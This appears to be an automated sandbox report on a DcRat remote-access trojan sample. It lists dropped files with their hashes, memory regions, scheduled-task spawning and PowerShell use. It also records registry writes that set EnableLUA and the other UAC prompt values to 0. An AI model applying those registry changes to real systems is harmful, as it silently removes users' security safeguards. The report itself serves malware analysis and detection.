memory/2956-25-0x0000000000DE0000-0x0000000000DEC000-memory.dmp

C:\Windows\Tasks\spoolsv.exe

MD5 77177c57df58a82f289add0cf57ea320
SHA1 38c0414cb96be176cdf3b965b870bdf5de04f4a4
SHA256 6f250581eae818938c64c4afa3446c7c36dfadda1d8b8ba20870ad0e05c7fe50
SHA512 67161531bc39774e219b77de3166c3216ff962ca81af0982a44a502bd25d333aa742f8fca8e5720d91b4e69ddd6c829a0e014b94f7af89d1ceb601691dd2c9b6

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VRKB82U7YXKIJ1GJPAZJ.temp

MD5 b71c3cf0cafedcb7f3a0b2da4be06c53
SHA1 6fe4683ae0ccf2f2c045768d84c879ad8982ad30
SHA256 2f3d03332075a2edd39783e41e8e18e32f92f3033f3746b76ec92d228069e8fc
SHA512 14177f2c895e3b436a9380bbc6b6aca72663d4b0a4c928cd80a8a316c7c32066c35b1d13c047ae7f445f73499d8b271fabc059152ad198f8a3c36c53145da81b

memory/1488-100-0x000000001B1A0000-0x000000001B482000-memory.dmp

memory/1488-101-0x00000000026A0000-0x00000000026A8000-memory.dmp

memory/2956-131-0x000007FEF5A70000-0x000007FEF645C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\NSYlrSDHvc.bat

MD5 b5e1b25d6703802691b09f279bd244cc
SHA1 64cf29afb66b4d9ad6a53ca1823f3f93faa7553e
SHA256 4781b69649e4577cc156216a08ee7784ba42525bc0e07fd527a6b789a4f654f6
SHA512 ef128b52a843078d1740b85baea31b8cce5a518f43ee485b1102fe5d51306d7fc40e3e7c9304136dd3bcd4157b15976753ab374cffdbe58aa77e4851737e3bd9

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/932-151-0x00000000011E0000-0x00000000014C6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\df05749b-c94a-476d-a081-047e5740dd50.vbs

MD5 f43f19396258bb3eb3fa8f161883bee1
SHA1 55d3deda3b776f0887e00a20badc222f50d88f74
SHA256 5346adecabd6a214eeb7399387f401ec8990ac5f2492e15fbbf5d90605dee025
SHA512 5e763aa331fd7f1cc06170bc02eb65deca570f63bfef1da0df280cbb24d7322aa43aee9b9b5a23bea59646de9edeaba7508f595138fafcab0fd125d59f3d56ad

C:\Users\Admin\AppData\Local\Temp\0e449166-312f-4a96-948d-454e69cd4488.vbs

MD5 3b46663bd9409a4d5a22fab5daea11fe
SHA1 56d59ffd0d11e8aaa79e69058d03b6ebd3dd54ef
SHA256 c52ac9970358875940a468dd3a1a418d12fe448e4619dde66944bca2c3f21f3e
SHA512 5537fef5974182dea18d4abb567f7432f066b4a98f537eb8384e9db8ae702275b801a7d3940e9d1dda1ac0e957e4931098f7916c0f28a581003595b923fad058

memory/2928-162-0x0000000000380000-0x0000000000666000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\7ead6ea0-b8fa-4f8a-941f-ddd9fe778879.vbs

MD5 1439365a6bee164ea7e23c8600886d28
SHA1 ccf6ba75307926f9927afbc8b50ced7cf1d80a4f
SHA256 5e0112998b84f4c4af25f49d9dbfde0ac57e78e98cdffa73fccc1c276362938c
SHA512 8b83690942ece02a6e1d8340067526823841bf308bfc2bf1660aa689e8c7ecaced1327fc3ef42a039ce03a67f65b4d82f699a6262ff36d1cc5478ec2d9059a19

memory/2000-174-0x0000000000AD0000-0x0000000000DB6000-memory.dmp

memory/2000-175-0x0000000000660000-0x00000000006B6000-memory.dmp

memory/2000-176-0x0000000002430000-0x0000000002442000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\a0ce475e-3b5c-4019-874a-e6e9956c7aec.vbs

MD5 8c557810af07a667830a777d649489a4
SHA1 cc6856fca8b64acd4c338a7c931c2f78b07903cf
SHA256 7331c92b9c9ff4d89257178ee3363523463b9a6a1c7a347a5ba2381e42102f9e
SHA512 a237cdc6cb2ae0fc9d026cb8d2dcf545516473d73b44a5472b2bdbf7c76933c8812b55a84a3d95d6fffc68659da0fa5bd130f6f2b896707d0c3c0b9ab5f772c4

memory/2300-188-0x00000000013A0000-0x0000000001686000-memory.dmp

memory/2300-189-0x0000000001350000-0x00000000013A6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\a9d2c230-cd90-4b4d-bef2-cda5bc7b696c.vbs

MD5 1eab897d4cf16399e4d3e8caa946260a
SHA1 f21214f29fcb1e1d68ed7bfd1079802eb1aad4df
SHA256 cd3255112060797c4175cc9dd8bbc8cbd3d3de3e40720d9d53dc8cc4365015db
SHA512 c8a7f8ee85c4baf77eb110aba27f7217452d497c057a33b24ee08a96c612659124cd8726556c0300346e49a0fb67d6ec8b588ff61034a1f7ffd94ee507225e10

memory/1604-201-0x0000000000590000-0x00000000005E6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\4578d820-2196-4807-8aa1-d5ef17846719.vbs

MD5 b3f15b6e5f0fbdc44176c581848180ec
SHA1 3828f9378d7adb4af195d31c076ddaf8e188e521
SHA256 ad721e532ac6ea912947f156f557694e0777df08bfcae9194748cab20c29c152
SHA512 610a8e4d59698ba41b34b74e00078f884fb12c699b55d09e22f06659b9b1396a236bd6a3f5cb8692d5856ef229faaf4f0371bd22261bfef442b79316f3cc75aa

C:\Users\Admin\AppData\Local\Temp\7987e51e-b237-4c21-81a0-ec1103874081.vbs

MD5 c243ac1bccddadaf46f026a5e833cb0a
SHA1 6c1517e189c0b11abff7636cf92b1dee7687d7a4
SHA256 c5af9aab41c0127991f583bcae0ec8052e6e7e1307b006f104a5a697a5c235bf
SHA512 06759e8dd22be2cc2c662b89b8ec1d27c1410c1d3599328066d0de6460a1f985eda452496f09cd64663e20efb6e598cdab96ac50ef171dfa0088aee2b332df36

C:\Users\Admin\AppData\Local\Temp\6989dedd-1733-4474-98ae-52ae672c66a8.vbs

MD5 d5e1361cb219df8a17e0ff25774e5e81
SHA1 3e7c71493cb188abf3cf5b13f91864dfd038a369
SHA256 50a87e7f18a09a7a99f2b6348e46e1143e92bdd048293f98c50998088d62a502
SHA512 762ed11b5c541a16d7e1d8a10f04ec03af2f7e82a65eb7874f18dbe5b5b4b2ee84af6d93af987ab0f15e87f68b4a0a4f2d8728c0b209f009424a42371a4df916

C:\Users\Admin\AppData\Local\Temp\89bbda9a-40f1-4c53-89c9-8b118e97a2ca.vbs

MD5 b2bfa61e5bbecba719d79777c2c1dcd1
SHA1 78540f7aac1fe3a76ee96c3755b83685bb9bf508
SHA256 708fef2e01a5d24107aa51fb9a67742ea3f452a38640948112ac8344d345ad5b
SHA512 2189d9e3e1abbf5c900c0dadb9963cf2760c579b4fce2e760b9e5ad002bd84787c7c76f0c32555dfdf0aa9db16e308636490afcee44ddcd52fb1dbfba4268de5

memory/1316-257-0x0000000000B40000-0x0000000000B52000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\c53fb3ab-c954-423b-bb9c-b94a59af7adb.vbs

MD5 f93fce99bf895ab2ae0e60bd21d926dd
SHA1 00894d71ad243c6db63523ae79b0040602f84758
SHA256 fdad219b13e3eb6f79591870c9013751f7ef0a1d357d144d1dfba7e50c4de827
SHA512 b9958f29b21a28ecbfe8b61942db7859dde473b24cae0931a4f95fd5517eaaa24b80dbc8df07353e08cc05a6def9fb7526ac465095d792639b5a04aa7a584bf7

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-15 04:00

Reported

2024-05-15 04:03

Platform

win10v2004-20240426-en

Max time kernel

149s

Max time network

148s

Command Line

"C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe"

Signatures

DcRat

rat infostealer dcrat

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe

UAC bypass

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A

DCRat payload

rat
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe N/A
